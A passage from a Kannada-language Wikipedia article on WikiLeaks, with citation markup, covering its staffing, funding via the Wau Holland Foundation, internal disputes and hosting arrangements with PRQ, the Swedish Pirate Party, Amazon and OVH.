ನಿರಾಕರಿಸಿದರು ಮತ್ತು ದೂರವಾಣಿ ಕರೆಯನ್ನು ಮಾಡಲು ಅನುಮತಿಸಲಿಲ್ಲ. ಇವರ ಮೊಬೈಲ್ ಪೋನ‌ನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳಲಾಗಿತ್ತು ಅದನ್ನು ಹಿಂದಿರುಗಿಸಿಲ್ಲ.<ref name="AppelbaumAirport">{{cite web |last=Mills |first=Elinor |url=http://news.cnet.com/8301-27080_3-20012253-245.html |title=Researcher detained at U.S. border, questioned about WikiLeaks |publisher=News.cnet.com |date=28 July 2010 |accessdate=1 August 2010 |archive-date=10 ಮಾರ್ಚ್ 2013 |archive-url=https://web.archive.org/web/20130310204021/http://news.cnet.com/8301-27080_3-20012253-245.html |url-status=dead }}</ref> ಜುಲೈ 31ರಂದು, ಇದನ್ನು ಡೇಪ್ಕಾನ್ ಸಭೆಯಲ್ಲಿ ಹೇಳಿದರು ಮತ್ತು ಮೊಬೈಲ್ ಪೋನನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳಲಾಗಿದೆ ಎಂದು ತಿಳಿಸಿದರು. ಇವರು ಮಾತನಾಡಿದ ನಂತರ ಏಫ್‌ಬಿಐನ ಎರಡು ಏಜಂಟರು ಇವರನ್ನು ಪ್ರಶ್ನಿಸಿದರು.<ref name="AppelbaumAirport" /> ಆನ್‌ಲೈನ್‍ನಲ್ಲಿ ಶೋಧಿಸದ ರಹಸ್ಯ ಮಾಹಿತಿಯನ್ನು ದೊಡ್ಡ ಪ್ರಮಾಣದಲ್ಲಿ ಪೋಸ್ಟಿಂಗ್ ಮಾಡುವ ಪರಿಪಾಠವು "ನಮ್ಮನ್ನೇ ಅಪರಾಧಿಯನ್ನಾಗಿ ಮಾಡುತ್ತದೆ ಎಂಬುದನ್ನು ಅಸ್ಸಾಂಜೆ ಒಪ್ಪುತ್ತಾರೆ.<ref>{{cite web|url=http://www.washingtonpost.com/wp-dyn/content/article/2010/08/17/AR2010081705225.html|publisher=The New Yorker|title=No Secrets|date=7 June 2010|accessdate=20 December 2010}}</ref><ref>{{cite web|url=http://www.newyorker.com/reporting/2010/06/07/100607fa_fact_khatchadourian?currentPage=9|publisher=The Washington Post|title=The Justice Department weighs a criminal case against WikiLeaks|date=18 August 2010|accessdate=10 December 2010}}</ref> ಆದಾಗ್ಯೂ, ಜೀವನವನ್ನು ರಕ್ಷಿಸುವ ಸಾಧ್ಯತೆ ಇದ್ದರೆ ಅದು ಅಮಾಯಕರಿಗೆ ಅಪಾಯ ಉಂಟಾಗುವುದಕ್ಕಿಂದ ಹೆಚ್ಚಿನ ಮೌಲ್ಯವುಳ್ಳದ್ದಾಗಿದೆ ಎಂಬ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸುತ್ತಾರೆ.<ref>{{Cite web |url=http://svtplay.se/v/2264028/wikirebels_the_documentary. |title=timestamp 35:45 to 36:03. |access-date=4 ಫೆಬ್ರವರಿ 2011 |archive-date=16 ಸೆಪ್ಟೆಂಬರ್ 2011 |archive-url=https://web.archive.org/web/20110916103604/http://svtplay.se/v/2264028/wikirebels_the_documentary. |url-status=dead }}</ref> ವಿಕಿಲೀಕ್ಸ್ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳಿಂದ ನಾಗರಿಕರಿಗೆ ಹಾನಿಯಾಗಿದೆ ಎಂಬುದರ ಎಂಬುದಕ್ಕೆ ಯಾವುದೇ ಸಾಕ್ಷಿಯನ್ನು ಕಂಡುಹಿಡಿಯುವಲ್ಲಿ ಸ್ವತಂತ್ರ ತನಿಖೆಯು ವಿಫಲವಾಗಿದೆ ಎಂಬುದನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಎತ್ತಿಹಿಡಿದಿದೆ.<ref>{{cite web|url=http://twitter.com/#!/wikileaks/status/27627822775|publisher=Twitter|title=Read closely: NATO tells CNN not a single case of Afghans needing protection or moving due to leak http://bit.ly/dk5NZi|date=17 October 2010|accessdate= 20 December 2010}}</ref><ref>{{cite web|url=http://www.defence.gov.au/media/DepartmentalTpl.cfm?CurrentId=10997|title=Australian Dept of Defence investigation completed: WikiLeaks caused no harm http://bit.ly/aQQHDk|date=26 October 2010|accessdate= 20 December 2010}}</ref> 2010ರಲ್ಲಿ, ಸುಮಾರು ಡಜನ್‌ಗಟ್ಟಲೆ ವಿಕಿಲೀಕ್ಸ್‌ ಬೆಂಬಲಿಗರು ಜಾಲತಾಣವನ್ನು ತೊರೆದರು,<ref>{{cite news|last=Taylor |first=Jerome |url=http://www.independent.co.uk/news/media/online/secret-war-at-the-heart-of-wikileaks-2115637.html |title=Secret war at the heart of Wikileaks|publisher=independent.co.uk |date=25 October 2010 |accessdate=}}</ref> ಮುಖ್ಯವಾಗಿ ಭಿನ್ನವಾದ ನಿರ್ವಹಣಾ ಮಂಡಳಿ ಮತ್ತು ಹಂಚಿಕೆ ಸಿದ್ಧಾಂತ ಹೊಂದಿರುವ ಹೊಸದಾದ ಸೋರಿಕೆ ಸಂಸ್ಥೆ ಮತ್ತು ಜಾಲತಾಣ OpenLeaks.com ನ್ನು ಡೇನಿಯಲ್ ಡಾಮ್ಸ್ಚೆಯಿಟ್- ಬೆರ್ಗ್ ತೊರೆದರು.<ref>{{cite news|last=Nordstrom |first=Louise |url=http://www.washingtontimes.com/news/2010/dec/10/former-wikileaks-worker-rival-site-under-way/ |title=Former WikiLeaks worker: Rival site under way |newspaper=[[The Washington Times]] |date=10 December 2010 |accessdate=13 December 2010}}</ref> ==ಆಡಳಿತ== ಜನವರಿ 2010ರ ಸಂದರ್ಶನದ ಪ್ರಕಾರ ವಿಕಿಲೀಕ್ಸ್‌ ತಂಡವು ಮುಖ್ಯವಾಗಿ ಐದು ಜನ ಪೂರ್ಣಾವಧಿಯಾಗಿ ಮತ್ತು ಸುಮಾರು 800ಕ್ಕೂ ಹೆಚ್ಚು ಜನರು ಸಂದರ್ಭಾನುಸಾರವಾಗಿ ಕೆಲಸ ಮಾಡುವವರಿಂದ ಕೂಡಿದೆ. ಆದರೆ ಅವರಾರಿಗೂ ಸಂಬಳವಾಗಲಿ ಅಥವಾ ಇನ್ನಾವುದೇ ತರಹದ ಪ್ರತಿಫಲವಾಗಲಿ ಇಲ್ಲ.<ref name="leakonomy" /> ವಿಕಿಲೀಕ್ಸ್‌ ಯಾವುದೇ ಅಧಿಕೃತ ಪ್ರಧಾನ ಕಛೇರಿ ಹೊಂದಿಲ್ಲ. ಆದಾಗ್ಯೂ ಇದರ ಒಂದು ವರ್ಷದ ಖರ್ಚು 2,00,000ಫೌಂಡ್‌ಗಿಂತಲೂ ಅಧಿಕವಾಗಿದೆ. ಈ ಖರ್ಚು ಮುಖ್ಯವಾಗಿ ಮುಖ್ಯ ಗಣಕಯಂತ್ರ ನಿರ್ವಹಣೆ ಮತ್ತು ಆಡಳಿತಾತ್ಮಕ ವೆಚ್ಚಗಳಾಗಿವೆ. ಒಂದುವೇಳೆ ಅದರ ಪರವಾಗಿ ಕೆಲಸಮಾಡಿದವರಿಗೆ ಪ್ರತಿಫಲ ನೀಡಿದರೆ ಅದರ ಖರ್ಚು6,00,000ಫೌಂಡ್‌ಗಿಂತಲೂ ಅಧಿಕವಾಗುತ್ತದೆ.<ref name="leakonomy" /> ವಿಕಿಲೀಕ್ಸ್‌ ಯಾವುದೇ ವಕೀಲರಿಕೆ ಹಣ ಪಾವತಿಸುವುದಿಲ್ಲ. ಏಕೆಂದರೆ ಈಗಾಗಲೇ ಮಾಧ್ಯಮ ಸಂಘಟನೆಗಳಾದ 'ಅಸೋಸಿಯೆಟೆಡ್ ಪ್ರೆಸ್','''ಲಾಸ್ ಏಂಜೆಲಿಸ್ ಟೈಮ್ಸ'' ' ಮತ್ತು 'ರಾಷ್ಟ್ರೀಯ ಸುದ್ದಿ ಪತ್ರಿಕೆಗಳ ಸಂಘ'ಗಳು ಸಾವಿರಗಟ್ಟಲೆ ಡಾಲರ್‌ಗಳನ್ನು ಕಾನೂನು ನೆರವಿಗಾಗಿ ದೇಣಿಗೆ ನೀಡಿವೆ.<ref name="leakonomy" /> ಆದರೆ ಇದು ವಿಕಿಲೀಕ್ಸ್‌ನ ಆದಾಯದ ಸಣ್ಣ ಹರಿವಾಗಿದೆ. ಸುದ್ದಿಯನ್ನು ಪ್ರಕಟಿಸುವ ಪ್ರಾಶಸ್ತ್ಯಕ್ಕಾಗಿ ಸವಾಲು ಕರೆಯುವುದರಿಂದ ದೊಡ್ಡ ಮೊತ್ತದ ಆದಾಯವನ್ನು ಗಳಿಸುತ್ತದೆ.<ref name="leakonomy" /> ವವ್ ಹಾಲೆಂಡ್ ಫೌಂಡೆಶನ್‌ನವರು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ದೇಣಿಗೆಯನ್ನು ಬಳಸಿಕೊಳ್ಳಲು ಸಹಾಯ ಮಾಡುತ್ತಿದೆ.. ಜುಲೈ 2010ರಲ್ಲಿ ಈ ಸಂಸ್ಥೆಯು 'ವಿಕಿಲೀಕ್ಸ್‌' ಕೇವಲ ತನ್ನ ಸ್ವಂತ ಖರ್ಚಿಗಾಗಿ ಹಣ ಪಡೆಯುತ್ತಿಲ್ಲ, ಅದು ತನ್ನ ಹಾರ್ಡ್‌ವೇರ್, ಓಡಾಟ, ಮತ್ತು ಆವರ್ತನ ಶ್ರೇಣಿಗಾಗಿ ಮಾತ್ರ ಬಳಸಿಕೊಳ್ಳಲಾಗುತ್ತಿದೆ ಎಂದು ಪ್ರಚುರಪಡಿಸಿತು.<ref name="techeye">{{cite web |url=http://www.techeye.net/internet/wau-holland-foundation-sheds-light-on-wikileaks-donations#ixzz0td0dXhBx |title=Wau Holland Foundation sheds light on WikiLeaks donations – Hardware, ISP, travelling costs |publisher=TechEye |date=13 July 2010 |accessdate=1 August 2010 |archive-date=27 ಜುಲೈ 2011 |archive-url=https://web.archive.org/web/20110727011201/http://www.techeye.net/internet/wau-holland-foundation-sheds-light-on-wikileaks-donations#ixzz0td0dXhBx |url-status=dead }}</ref> TechEye ಲೇಖನನಲ್ಲಿ ಬರೆಯಿತು: {{quote|As a charity accountable under German law, donations for WikiLeaks can be made to the foundation. Funds are held in escrow and are given to WikiLeaks after the whistleblower website files an application containing a statement with proof of payment. The foundation does not pay any sort of salary nor give any renumeration {{sic}} to WikiLeaks' personnel, corroborating the statement of the site's former German representative Daniel Schmitt [real name [[Daniel Domscheit-Berg]]]<ref name="bates"/> on national television that all personnel works voluntarily, even its speakers.<ref name=techeye/>}} ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆರವರನ್ನು ಸೇರಿದಂತೆ ನಾಲ್ಕು ಜನ ಪೂರ್ಣಾವಧಿ ಕೆಲಸಗಾರು ನೇಮಿಸಲ್ಪಟ್ಟಿದ್ದಾರೆ ಮತ್ತು ಅವರು ಸಂಬಳವನ್ನು ಪಡೆಯತೊಡಗಿದ್ದಾರೆ ಎಂದು 2010ನೇ ಡಿಸೆಂಬರ್‌ನಲ್ಲಿ ವವ್ ಹಾಲೆಂಡ್ ಫೌಂಡೆಶನ್‌ ಹೇಳಿತು.<ref>{{cite web|url=http://m.thelocal.de/sci-tech/20101223-31975.html|publisher=The Local|title=Wikileaks donations still flowing, but not to Assange legal fund|accessdate=23 December 2010|archive-date=2 ಅಕ್ಟೋಬರ್ 2013|archive-url=https://web.archive.org/web/20131002143644/http://m.thelocal.de/sci-tech/20101223-31975.html|url-status=dead}}</ref> ===ತಾಣ ನಿರ್ವಹಣೆಗೆ ವಿಷಯಗಳು=== ವಿಕಿಲೀಕ್ಸ್‌ನಲ್ಲಿ ಸಂಸ್ಥಾಪಕರು ಮತ್ತು ವಕ್ತಾರರಾದ ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ ಮತ್ತು ಡೇನಿಯಲ್ ಡಾಮ್ಸ್ಚೆಯಿಟ್- ಬೆರ್ಗ್ ಇವರುಗಳ ಮಧ್ಯೆ ಬಹಿರಂಗವಾಗಿ ಭಿನ್ನಾಭಿಪ್ರಾಯಗಳು ಕಾಣಿಸಿಕೊಂಡವು. ಜರ್ಮನ್‌ನ ಮಾಜಿ ಸಂಸ್ಥಾಪಕ ಪ್ರತಿನಿಧಿ ಡೇನಿಯಲ್ ಡಾಮ್ಸ್ಚೆಯಿಟ್- ಬೆರ್ಗ್‌ರನ್ನು ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ‌ ವಜಾಗೊಳಿಸಿದರು. ಆಡಳಿತ ಮಂಡಳಿಯ ಜೊತೆಗಿನ ಬಿನ್ನಾಭಿಪ್ರಾಯದಿಂದ ಸಂಘಟನೆಯನ್ನು ತೊರೆಯುವುದಾಗಿ ಸೆಪ್ಟೆಂಬರ್ 2010ರಂದು ಪ್ರಕಟಿಸಿದರು.<ref name="bates">{{cite web|author=Bates, Theunis |url=http://www.aolnews.com/2010/09/28/wikileaks-woes-grow-as-spokesman-quits-site/ |title=WikiLeaks' Woes Grow as Spokesman Quits Site |publisher= AOL News |date=28 September 2010 |accessdate=22 October 2010}}</ref><ref>{{cite news |first=Raphael G. |last=Satter |url=http://www.physorg.com/news205093515.html |title=WikiLeaks chief lashes out at media during debate |agency=Associated Press |date=30 September 2010 |accessdate=22 October 2010}}</ref><ref>{{cite news |last=Blodget |first=Henry |authorlink=Henry Blodget |title=WikiLeaks Spokesman Quits, Blasts Founder Julian Assange As Paranoid Control Freak, Admits To Using Fake Name |url=http://www.sfgate.com/cgi-bin/article.cgi?f=/g/a/2010/09/28/businessinsider-wikileaks-spokesman-quits.DTL |date=28 September 2010 |newspaper=San Francisco Chronicle |accessdate=12 December 2010}}</ref> ===ಹೋಸ್ಟಿಂಗ್=== ವಿಕಿಲೀಕ್ಸ್‌ ತನ್ನದೇ ಶಬ್ದದಲ್ಲಿ ಹೇಳುವಂತೆ "ಅದೊಂದು ಪತ್ತೆ ಹಚ್ಚಲಾಗದ ಮತ್ತು ಪರಾಮರ್ಶೆಗೆ ಸಿಗದ ಬೃಹತ್ ದಾಖಲೆಗಳ ಸೋರಿಕಾ ತಾಣವಾಗಿದೆ".<ref>{{cite news|url=https://www.theguardian.com/media/2010/jul/14/julian-assange-whistleblower-wikileaks|title=Julian Assange: the whistleblower|work=The Guardian |location=UK |author=Stephen Moss|date=14 July 2010|accessdate=7 December 2010}}</ref> ಈ ತಾಣವು ಅನೇಕ ಸರ್ವರ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿದೆ ಮತ್ತು ಅನೇಕ ಡೊಮೇನ್ ಹೆಸರುಗಳಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಏಕೆಂದರೆ ಅನೇಕ ಸಂಸ್ಥೆಗಳು ಸೇವೆಯನ್ನ ನೀಡುವುದಿಲ್ಲವೆಂದು ಹೇಳಿದ್ದವು ಮತ್ತು ಅನೇಕ ಡೊಮೇನ್ ನೇಂ ಸಿಸ್ಟಮ್ ನೀಡುವವರು (DNS) ತೀಕ್ಷ್ಣವಾಗಿ ನಿರಾಕರಿಸಿದ್ದರು.<ref name="satter">{{cite news|last=Satter|first=Raphael G.|title=WikiLeaks fights to stay online amid attacks|url=http://www.forbes.com/feeds/ap/2010/12/03/technology-wikileaks_8180890.html?boxes=Homepagebusinessnews|accessdate=11 December 2010|newspaper=[[Forbes]].com|date=3 December 2010|author2=Svensson, Peter|agency=Associated Press|archive-date=22 ಡಿಸೆಂಬರ್ 2010|archive-url=https://web.archive.org/web/20101222044306/http://www.forbes.com/feeds/ap/2010/12/03/technology-wikileaks_8180890.html?boxes=Homepagebusinessnews|url-status=dead}}</ref><ref>{{cite news |url=http://www.independent.co.uk/news/world/politics/wikileaks-hit-by-new-online-onslaught-2151570.html |title=WikiLeaks hit by new online onslaught |last1=Randall |first1=David|last2=Cooper|first2=Charlie |date=5 December 2010 |work=The Independent |accessdate=4 December 2010}}</ref> ಸದ್ಯ ವಿಕಿಲೀಕ್ಸ್‌ ಸ್ವೀಡನ್ ಮೂಲದ ಕಂಪನಿಯಾದ ಪಿಆರ್‌ಕ್ಯೂ (PRQ) ಇವರಿಂದ ನಡೆಸಲ್ಪಡುತ್ತಿದೆ. ಇದು ಅತ್ಯಂತ ಭದ್ರವಾದ, ಮತ್ತು ಪ್ರಶ್ನಾತೀತ ಮುಖ್ಯ [[ಗಣಕಯಂತ್ರ]](ಸರ್ವರ್)ಗಳನ್ನು ಒದಗಿಸಿದೆ. ಪಿಆರ್‌ಕ್ಯೂ ಗೆ ತನ್ನ ಕ್ಲೈಂಟ್‌ಗಳ ಕುರಿತು ಯಾವುದೇ ಮಾಹಿತಿ ಇರುವುದಿಲ್ಲ ಮತ್ತು ತನ್ನದೇ ಲಾಗ್ ಮಾಡುವುದರ ಹೊರತಾಗಿ ಯಾವುದೇ ನಿರ್ವಹಣೆಯನ್ನು ಮಾಡುವುದಿಲ್ಲ.<ref name="goodwin">{{cite news|url=http://www.theregister.co.uk/2008/02/21/wikileaks_bulletproof_hosting/ |title=Wikileaks judge gets Pirate Bay treatment |author=Goodwin, Dan |publisher=The Register|date=21 February 2008 |accessdate=7 December 2010}}</ref> ಸರ್ವರ್‌ಗಳು ಜಗತ್ತಿನ ನಾನಾ ಮೂಲೆಗಳಲ್ಲಿವೆ ಆದರೆ ಪ್ರಮುಖವಾದ ಸರ್ವರ್‌ಗೆ ಸ್ವೀಡನ್‌‌ನ್ನು ಕೇಂದ್ರ ಸ್ಥಳವನ್ನಾಗಿ ಮಾಡಿಕೊಳ್ಳಲಾಗಿದೆ.<ref name="DN1">{{cite news|title=Jagad och hatad – men han vägrar vika sig|language=Swedish|trans_title=Chased and hated - but he refuses to give way|author=Fredén, Jonas|newspaper=[[Dagens Nyheter]]|url=http://www.dn.se/nyheter/varlden/jagad-och-hatad-men-han-vagrar-vika-sig-1.1153725|date=14 August 2010|access-date=4 ಫೆಬ್ರವರಿ 2011|archive-date=18 ಆಗಸ್ಟ್ 2010|archive-url=https://web.archive.org/web/20100818113905/http://www.dn.se/nyheter/varlden/jagad-och-hatad-men-han-vagrar-vika-sig-1.1153725|url-status=dead}}</ref> ಜೂಲಿಯನ್ ಅಸೆಂಜ್‌ರವರು ಹೇಳಿದಂತೆ ಸರ್ವರನ್ನು ಸ್ವೀಡನ್‌ನಲ್ಲಿ ಮತ್ತು ಇತರ ದೇಶಗಳಲ್ಲಿ ಇಡಲು ಕಾರಣವೇನೆಂದರೆ ಆ ದೇಶಗಳು ತಮಗೆ ತಮ್ಮ ಅಂತರ್ಜಾಲ ತಾಣದಲ್ಲಿ ಪ್ರಕಟಿಸಲ್ಪಟ್ಟ ಸುದ್ದಿಗಳಿಗೆ ಕಾನೂನುಬದ್ದ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ. ಸ್ವೀಡನ್‌ನ ಸಂವಿಧಾನವು ಸುದ್ದಿಗಾರರಿಗೆ ಸಂಪೂರ್ಣ ಕಾನೂನುಬದ್ಧ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ ಎಂದು ಸಹ ಹೇಳಿದ್ದಾರೆ." ಸ್ವೀಡನ್‌ನ ಸಂವಿಧಾನದ ಬಗ್ಗೆ ಮಾತನಾಡುತ್ತಾ, ಮಾಹಿತಿದಾರರಿಗೆ ಸಂಪೂರ್ಣವಾದ ಕಾನೂನು ಬದ್ಧ ರಕ್ಷಣೆಯನ್ನು ನೀಡುತ್ತದೆ.<ref name="DN1" /> ಸ್ವಿಡನ್‌ನ ಸಂವಿಧಾನದ ಪ್ರಕಾರ ಯಾವುದೇ ಪತ್ರಿಕೆಯ ಸುದ್ದಿಯ ಮೂಲವನ್ನು ಅಧಿಕೃತ ವಿಚಾರಣೆಗೊಳಪಡಿಸುವುದನ್ನು ನಿಷೇಧಿಸಿದೆ.<ref>{{cite news |title=Därför blir Julian Assange kolumnist i Aftonbladet|language=Swedish|author=Helin, Jan |newspaper=[[Aftonbladet]]|date=14 August 2010 |url=http://blogg.aftonbladet.se/janhelin/2010/08/darfor-blir-julian-assange-kolumnist-i-aftonbladet |accessdate=15 August 2010}}</ref>{1/} ಈ ಕಾನೂನು ಮತ್ತು ಪಿಆರ್‌ಕ್ಯೂದ ಆತಿಥ್ಯದಿಂದಾಗಿ ವಿಕಿಲೀಕ್ಸ್‌ನ ಕಾರ್ಯ ಸ್ಥಗಿತತೆಯು ಕಷ್ಟಸಾಧ್ಯವಾಗಿದೆ. ಒಂದುವೇಳೆ ವಿಕಿಲೀಕ್ಸ್‌ನ ಸ್ವಾತಂತ್ರ್ಯದ ವಿರುದ್ಧ ಯಾರಾದರೂ ತಕರಾರು ಮಾಡಿದಲ್ಲಿ ಸುದ್ದಿಗೆ ಸಾಕ್ಷಾಧಾರಗಳನ್ನು ನೀಡುವ ಜವಾಬ್ದಾರಿಯನ್ನು ವಹಿಸುತ್ತದೆ. ಉದಾಹರಣೆಗೆ ಅಂತರ್ಜಾಲದಲ್ಲಿ ಮಕ್ತ ಮಾತುಕತೆಯ ಅಧಿಕಾರವನ್ನು ಪರಾಮರ್ಶಿಸುತ್ತದೆ. ಮತ್ತು ಹೆಚ್ಚಿನದಾಗಿ ವಿಕಿಲೀಕ್ಸ್‌ ತನ್ನ ಸ್ವಂತ ಸರ್ವರ್‌ಗಳನ್ನು ಯಾರಿಗೂ ತಿಳಿಯದ ಸ್ಥಳಗಳಲ್ಲಿ ಇರಿಸಿದ್ದಾರೆ, ಯಾವುದೇ ಕೋಷ್ಟಕಗಳನ್ನು ಇಡುವುದಿಲ್ಲ, ಮತ್ತು ಸೈನಿಕ ಮಾದರಿಯಲ್ಲಿ ಮಾಹಿತಿಯ ಮೂಲಗಳನ್ನು ಮತ್ತು ಇತರ ಗೌಪ್ಯವಾದ ವಿಚಾರಗಳನ್ನು ಸಂರಕ್ಷಿಸಲಾಗುತ್ತದೆ. ಇಂತಹ ವ್ಯವಸ್ಥೆಯನ್ನು "ಬುಲೆಟ್ ಫ್ರೂಪ್ ಹೊಸ್ಟಿಂಗ್" ಎಂದು ಕರೆಯುತ್ತಾರೆ.<ref name="goodwin" /><ref>{{cite news|url=http://news.blogs.cnn.com/2010/07/25/what-is-wikileaks/?iref=storysearch |title=What is WikiLeaks? |publisher=CNN |date=25 July 2010 |accessdate=6 August 2010}}</ref> 17 ಆಗಸ್ಟ್‌ 2010ರಂದು ಘೋಷಣೆಯ ಪ್ರಕಾರ ಸ್ವೀಡಿಷ್ ಪೈರೆಟ್ ಪಾರ್ಟಿಯವರು ಹಲವಾರು ಸುದ್ಧಿ ಸರ್ವರ್‌ಗಳನ್ನು ಹೋಸ್ಟಿಂಗ್ ಮತ್ತು ನಿರ್ವಹಣೆ ಮಾಡುತ್ತಿದೆ. ಸ್ವೀಡಿಷ್ ಪೈರೆಟ್ ಪಾರ್ಟಿರಯವರು ಸರ್ವರ್‌ಗಳನ್ನು ಮತ್ತು ಪ್ರಸಾರ ಕಾಲಾವಧಿಯನ್ನು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ದೇಣಿಗೆ ರೂಪದಲ್ಲಿ ಯಾವುದೇ ವೆಚ್ಚವನ್ನು ಪಡೆಯದೇ ನೀಡುತ್ತಿದ್ದಾರೆ. ಸ್ವೀಡಿಷ್ ಪೈರೆಟ್ ಪಾರ್ಟಿರಯವರು ತಂತ್ರಜ್ಞರು ಆಗಾಗ ವಿಕಿಲೀಕ್ಸ್‌ನ ಗಣಕಯಂತ್ರಗಳು ಸರಿಯಾಗಿ ಕೆಲಸನಿರ್ವಹಿಸುತ್ತಿವೆಯೋ ಎಂಬುದನ್ನು ಪರಿಕ್ಷಿಸುತ್ತಿರುತ್ತಾರೆ.<ref>{{cite web|author=TT |url=http://www.dn.se/nyheter/sverige/piratpartiet-skoter-wikileak-servrar-1.1155285 |title=Piratpartiet sköter Wikileak-servrar|language=Swedish|trans_title=Pirate Party manages Wikileaks Servers|publisher=DN.se |date=17 August 2010 |accessdate=22 October 2010}}</ref><ref>{{cite news|title=Swedish Pirate Party to host WikiLeaks servers|url=http://edition.cnn.com/2010/WORLD/europe/08/18/sweden.wikileaks/#fbid=zfd5Igi2Lea&wom=false|accessdate=21 August 2010|publisher=CNN|date=18 August 2010}}</ref> ಕೆಲವು ಸರ್ವರ್‌ಗಳು ಸ್ಟಾಕ್‌ಹೋಮ್‌ನ ಕೆಲವು ಭೂಗತ ನ್ಯೂಕ್ಲಿಯರ್ ಬಂಕರ್‌ಗಳಲ್ಲಿ ನಿರ್ವಹಿಸಲ್ಪಡುತ್ತಿವೆ.<ref>{{cite web|url=http://www.vg.no/nyheter/utenriks/artikkel.php?artid=10018210 |title=Pentagon-papirer sikret i atom-bunker |publisher=[[VG Nett]] | language = Norwegian |date=27 August 2010 |accessdate=6 December 2010}}</ref><ref>{{cite web|url=http://blogs.forbes.com/andygreenberg/2010/08/30/wikileaks-servers-move-to-underground-nuclear-bunker/?boxes=businesschanneltopstories |title=Wikileaks Servers Move To Underground Nuclear Bunker |work=Forbes |date=30 August 2010 |accessdate=6 December 2010}}</ref> ಈ ಅಂತರ್ಜಾಲ ತಾಣಕ್ಕೆ ಸರ್ವರ್ ನೀಡುವುದಿಲ್ಲ ಎಂದು ಅನೇಕರು ಹೇಳಿದ ನಂತರ ವಿಕಿಲೀಕ್ಸ್‌ ಅಮೇಜಾನ್‌‌ರ ಸರ್ವರ್‌ಗಳಿಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು.<ref name="amazon">{{cite web|last= Gross|first=Doug|title=WikiLeaks cut off from Amazon servers|url=http://edition.cnn.com/2010/US/12/01/wikileaks.amazon/index.html?eref=edition|publisher=CNN|accessdate=2 December 2010}}</ref> ನಂತರ ಈ ಅಂತರ್ಜಾಲ ತಾಣವು ಅಮೇಜಾನ್‌ ಸರ್ವರ್‌ನಿಂದ ಹೊರದೂಡಲ್ಪಟ್ಟಿತು.<ref name="amazon" /> ಅಮೇಜಾನ್‌ ಒಂದು ಸಾರ್ವಜನಿಕ ಪ್ರಕಟಣೆಯಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ತನ್ನ ಸೇವೆಯ ನಿಯಮಾವಳಿಗಳನ್ನು ಸರಿಯಾಗಿ ಪಾಲಿಸುತ್ತಿಲ್ಲ. "ಅವರು ನಿಯಮಗಳನ್ನು ಉಲ್ಲಂಘಿಸಿದ ಬಹಳಷ್ಟು ವಿಭಾಗಗಳಿವೆ ಎಂದು ಹೆಚ್ಚಿನದಾಗಿ ಹೇಳಿತು. ಉದಾಹರಣೆಗೆ ನಮ್ಮ ಸೇವಾ ನಿಯಮಾವಳಿಗಳ ಪ್ರಕಾರ "ನೀವು ಮುಂದಾಳತ್ವ ವಹಿಸಿದ ಮತ್ತು ಅಧಿಕಾರ ಹೊಂದಿದ ಎಲ್ಲ ಸುದ್ದಿಗಳನ್ನು ನೀವು ನಿರ್ವಹಿಸಬೇಕು.ನೀವು ಪ್ರಸಾರ ಮಾಡುವ ಯಾವುದೇ ಸುದ್ದಿಯು ಯಾವುದೇ ಮನುಷ್ಯನಿಗೆ ಅಥವಾ ಯಾವುದೇ ಸಂಸ್ಥೆಗೆ ತೊಂದರೆಯುಂಟು ಮಾಡುವಂತದ್ದಾಗಿರಬಾರದು". ಎಂದು ಹೇಳಿದೆ. ಇದರಿಂದ ತಿಳಿದುಬರುವುದೇನೆಂದರೆ ವಿಕಿಲೀಕ್ಸ್‌ ಯಾವುದೇ ಸುದ್ದಿಗಳ ಮೇಲೆ ಅಥವಾ ಈ ರಹಸ್ಯ ದಾಖಲೆಗಳ ಮೇಲೆ ನಿಯಂತ್ರಣಗಳನ್ನು ಹೊಂದಿರುವುದಿಲ್ಲ.<ref name="Hennigan">{{cite news|url=http://latimesblogs.latimes.com/technology/2010/12/amazon-wikileaks-servers.html|title=Amazon says it dumped WikiLeaks because it put innocent people in jeopardy|last=Hennigan|first=W.J.|date=2 December 2010|work=[[Los Angeles Times]]|accessdate=23 December 2010}}</ref> ನಂತರ ವಿಕಿಲೀಕ್ಸ್‌ ತನ್ನದೇ ಆದ ಸ್ವಂತ ಒವಿಎಚ್ ಸರ್ವರ್‌ನ್ನು ಫ್ರಾನ್ಸ್‌ನಲ್ಲಿ ಅಳವಡಿಸಿಕೊಳ್ಳಲು ನಿರ್ಧರಿಸಿತು.<ref>{{fr}} [http://www.lepoint.fr/high-tech-internet/expulse-d-amazon-wikileaks-s-installe-en-france-02-12-2010-1270137_47.php Expulsé d'Amazon, ವಿಕಿಲೀಕ್ಸ್ trouve refuge en France]. 2 ಡಿಸೆಂಬರ್ 2010, Le Point</ref> ಫ್ರಾನ್ಸಿನ ಸರ್ಕಾರದಿಂದ ದೂಷಣೆಗೆ ಒಳಗಾದ ನಂತರ ವಿಕಿಲೀಕ್ಸ್‌ ಎರಡು ನ್ಯಾಯ ಸೂತ್ರಗಳಾದ ನ್ಯಾಯ ಬದ್ಧತೆ ಮತ್ತು ಪ್ರಸಾರದ ಹಕ್ಕನ್ನು ಮಂಡಿಸಿತು. ಆದರೆ ಲೀಲ್‌ನಲ್ಲಿರುವ ನ್ಯಾಯಾಲಯವು ತಕ್ಷಣದಿಂದ ಜಾರಿಬರುವಂತೆ ವಿಕಿಲೀಕ್ಸ್‌ನ ಒವಿಎಚ್ ಅಂತರ್ಜಾಲ ತಾಣವನ್ನು ಸ್ಥಗಿತಗೊಳಿಸುವಂತೆ ಸೂಚಿಸಿತು. ಆದರೆ ಪ್ಯಾರಿಸ್‌ನಲ್ಲಿರುವ ನ್ಯಾಯಾಲಯವು ತಾಂತ್ರಿಕ ಪರಿಶೀಲನೆಗಾಗಿ ಇನ್ನೂ 